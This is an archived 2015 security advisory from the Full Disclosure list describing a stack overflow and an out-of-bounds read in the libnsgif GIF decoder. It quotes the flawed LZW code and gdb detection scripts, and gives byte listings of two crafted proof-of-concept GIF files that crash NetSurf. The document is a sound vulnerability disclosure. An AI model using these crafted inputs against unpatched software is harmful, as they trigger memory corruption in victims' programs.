lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <m1a8pazfo8.darpa@darpa.mil>
Date: Wed, 16 Dec 2015 20:28:07 +0700
From: Hans Jerry Illikainen <hji@...topia.com>
To: bugtraq@...urityfocus.com, fulldisclosure@...lists.org,
 oss-security@...ts.openwall.com
Subject: [FD] libnsgif: stack overflow (CVE-2015-7505) and out-of-bounds
	read (CVE-2015-7506)


Overview
========

Libnsgif[1] is a decoding library for GIF images.  It is primarily
developed and used as part of the NetSurf project.

As of version 0.1.2, libnsgif is vulnerable to a stack overflow
(CVE-2015-7505) and an out-of-bounds read (CVE-2015-7506) due to the way
LZW-compressed GIF data is processed.


Details
=======

src/libnsgif.c #80..133:
,----
| /*    Maximum LZW bits available
| */
| #define GIF_MAX_LZW 12
| [...]
| static int table[2][(1 << GIF_MAX_LZW)];
| static unsigned char stack[(1 << GIF_MAX_LZW) * 2];
`----

src/libnsgif.c #423..628:
,----
| static gif_result gif_initialise_frame(gif_animation *gif) {
| [...]
|     if (gif_data[0] > GIF_MAX_LZW)
|         return GIF_DATA_ERROR;
| [...]
| }
`----


src/libnsgif.c #751..1053:
,----
| gif_result gif_decode_frame(gif_animation *gif, unsigned int frame) {
| [...]
|         /*    Initialise the LZW decoding
|         */
|         set_code_size = gif_data[0];
| [...]
|         code_size = set_code_size + 1;
|         clear_code = (1 << set_code_size);
|         end_code = clear_code + 1;
|         max_code_size = clear_code << 1;
|         max_code = clear_code + 2;
| [...]
| }
`----


src/libnsgif.c #1145..1169:
,----
| void gif_init_LZW(gif_animation *gif) {
| [...]
|     *stack_pointer++ =firstcode;
| }
`----


src/libnsgif.c #1172..1237:
,----
| static bool gif_next_LZW(gif_animation *gif) {
| [...]
|     code = gif_next_code(gif, code_size);
| [...]
|     incode = code;
|     if (code >= max_code) {
|         *stack_pointer++ = firstcode;
|         code = oldcode;
|     }
| 
|     /* The following loop is the most important in the GIF decoding cycle as every
|      * single pixel passes through it.
|      *
|      * Note: our stack is always big enough to hold a complete decompressed chunk. */
|     while (code >= clear_code) {
|         *stack_pointer++ = table[1][code];
|         new_code = table[0][code];
|         if (new_code < clear_code) {
|             code = new_code;
|             break;
|         }
|         *stack_pointer++ = table[1][new_code];
|         code = table[0][new_code];
|         if (code == new_code) {
|               gif->current_error = GIF_FRAME_DATA_ERROR;
|             return false;
|         }
|     }
| 
|     *stack_pointer++ = firstcode = table[1][code];
| [...]
|     oldcode = incode;
| [...]
| }
`----


CVE-2015-7505
=============

Since `gif_next_LZW()' writes onto the stack so long as `code' is at
least `clear_code', an overflow may eventually occur while processing a
maliciously crafted image.

Using NetSurf as an example:

,----
| ~/netsurf-all-3.3/netsurf$ gdb -x stack.py --args ./nsgtk stack.gif
| [...]
| stack overflow: ptr: 0x968903, end of stack: 0x968900 (+3)
| stack overflow: ptr: 0x968904, end of stack: 0x968900 (+4)
| stack overflow: ptr: 0x968905, end of stack: 0x968900 (+5)
| stack overflow: ptr: 0xf0000968906, end of stack: 0x968900 (+16492674416646)
| 
| Program received signal SIGSEGV, Segmentation fault.
| 0x000000000051a890 in gif_next_LZW (gif=0xbccc00) at src/libnsgif.c:1210
| 1210                    *stack_pointer++ = table[1][code];
| (gdb)
`----


stack.py:
,----
| class Breakpoint(gdb.Breakpoint):
|     def stop(self):
|         stack_pointer = get_hex("stack_pointer")
|         stack = get_hex("&stack")
|         stack_size = get_hex("sizeof stack / sizeof *stack")
|         stack_end = stack + stack_size
| 
|         table_size = get_hex("sizeof table / sizeof **table / 2")
|         code = get_hex("code")
| 
|         if stack_pointer > stack_end:
|             print("stack overflow: ptr: 0x%x, end of stack: 0x%x (+%d)" %
|                   (stack_pointer, stack_end, stack_pointer - stack_end))
|         if code >= table_size:
|             print("out-of-bounds read: code: %d (+%d)" %
|                   (code, code - table_size + 1))
|         return False
| 
| def get_hex(arg):
|     res = gdb.execute("print/x %s" % arg, to_string=True)
|     x = res.split(" ")[-1].strip()
|     return int(x, 16)
| 
| Breakpoint("netsurf-all-3.3/libnsgif/src/libnsgif.c:1210")
| Breakpoint("netsurf-all-3.3/libnsgif/src/libnsgif.c:1216")
| 
| gdb.execute("run")
`----


stack.gif:
,----
| unsigned char stack[] = {
|     /* GIF87a */
|     0x47, 0x49, 0x46, 0x38, 0x37, 0x61,
| 
|     /* gif_initialise() */
|     0x04, 0x00,     /* gif->width */
|     0x04, 0x33,     /* gif->height */
|     0x00,           /* gif->global_colours */
|     0x00,           /* gif->background_index */
|     0x00,           /* gif->aspect_ratio */
| 
|     /* gif_initialise_frame() */
|     0x2c,           /* GIF_IMAGE_SEPARATOR */
|     0x00, 0x00,     /* offset_x */
|     0x00, 0x00,     /* offset_y */
|     0x1b, 0x00,     /* width */
|     0x04, 0x00,     /* height */
|     0x00,           /* flags */
|     0x04,           /* code size */
|     0x0d,           /* block_size */
| 
|     /* image data */
|     0x10, 0xcb,
|     0x41, 0xf3,
|     0xf3, 0xf3,
|     0xf3, 0xf3,
|     0xf3, 0xf3,
|     0xf3, 0xf3,
|     0xf3,
| 
|     /* end of image data */
|     0x00,
| 
|     /* end of .gif */
|     0x3b
| };
`----


CVE-2015-7506
=============

If `set_code_size' is 0xc, `clear_code' is assigned a value of 4096.
Since the while-loop in `gif_next_LZW()' executes so long as `code >=
clear_code', an out-of-bounds read might occur due to `code' being used
to dereference `table' (2d array * 4096).  A boundary check exist in
that if `code >= max_code', it's assigned the value of `oldcode' --
however, the result may still exceed `max_code' due to the bookkeeping
of the *original* value:

src/libnsgif.c #1172..1237:
,----
| static bool gif_next_LZW(gif_animation *gif) {
| [...]
|     incode = code;
|     if (code >= max_code) {
|         *stack_pointer++ = firstcode;
|         code = oldcode;
|     }
| [...]
|     oldcode = incode;
| [...]
| }
`----

Again, using NetSurf as an example:

,----
| ~/netsurf-all-3.3/netsurf$ gdb -x oob.py --args ./nsgtk oob.gif
| [...]
| out-of-bounds read: code: 6670 (+2575)
| out-of-bounds read: code: 7999 (+3904)
`----


oob.py:
,----
| class Breakpoint(gdb.Breakpoint):
|     def stop(self):
|         stack_pointer = get_hex("stack_pointer")
|         stack = get_hex("&stack")
|         stack_size = get_hex("sizeof stack / sizeof *stack")
|         stack_end = stack + stack_size
| 
|         table_size = get_hex("sizeof table / sizeof **table / 2")
|         code = get_hex("code")
| 
|         if stack_pointer > stack_end:
|             print("stack overflow: ptr: 0x%x, end of stack: 0x%x (+%d)" %
|                   (stack_pointer, stack_end, stack_pointer - stack_end))
|         if code >= table_size:
|             print("out-of-bounds read: code: %d (+%d)" %
|                   (code, code - table_size + 1))
|         return False
| 
| def get_hex(arg):
|     res = gdb.execute("print/x %s" % arg, to_string=True)
|     x = res.split(" ")[-1].strip()
|     return int(x, 16)
| 
| Breakpoint("netsurf-all-3.3/libnsgif/src/libnsgif.c:1210")
| Breakpoint("netsurf-all-3.3/libnsgif/src/libnsgif.c:1216")
| 
| gdb.execute("run")
`----


oob.gif:
,----
| unsigned char oob[] = {
|     /* GIF87a */
|     0x47, 0x49, 0x46, 0x38, 0x37, 0x61,
| 
|     /* gif_initialise() */
|     0x04, 0x00,     /* gif->width */
|     0x04, 0x33,     /* gif->height */
|     0x00,           /* gif->global_colours */
|     0x00,           /* gif->background_index */
|     0x00,           /* gif->aspect_ratio */
| 
|     /* gif_initialise_frame() */
|     0x2c,           /* GIF_IMAGE_SEPARATOR */
|     0x00, 0x00,     /* offset_x */
|     0x00, 0x00,     /* offset_y */
|     0x1b, 0x00,     /* width */
|     0x04, 0x00,     /* height */
|     0x00,           /* flags */
|     0x0c,           /* code size */
|     0x0d,           /* block_size */
| 
|     /* image data */
|     0x10, 0xcb,
|     0x41, 0xf3,
|     0xf3, 0xf3,
|     0xf3, 0xf3,
|     0xf3, 0xf3,
|     0xf3, 0xf3,
|     0xf3,
| 
|     /* end of image data */
|     0x00,
| 
|     /* end of .gif */
|     0x3b
| };
`----


Solution
========

Both vulnerabilities are fixed in git HEAD[2].



Footnotes
_________

[1] [http://www.netsurf-browser.org/projects/libnsgif/]

[2] [http://source.netsurf-browser.org/libnsgif.git/]

 
Hans Jerry Illikainen

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ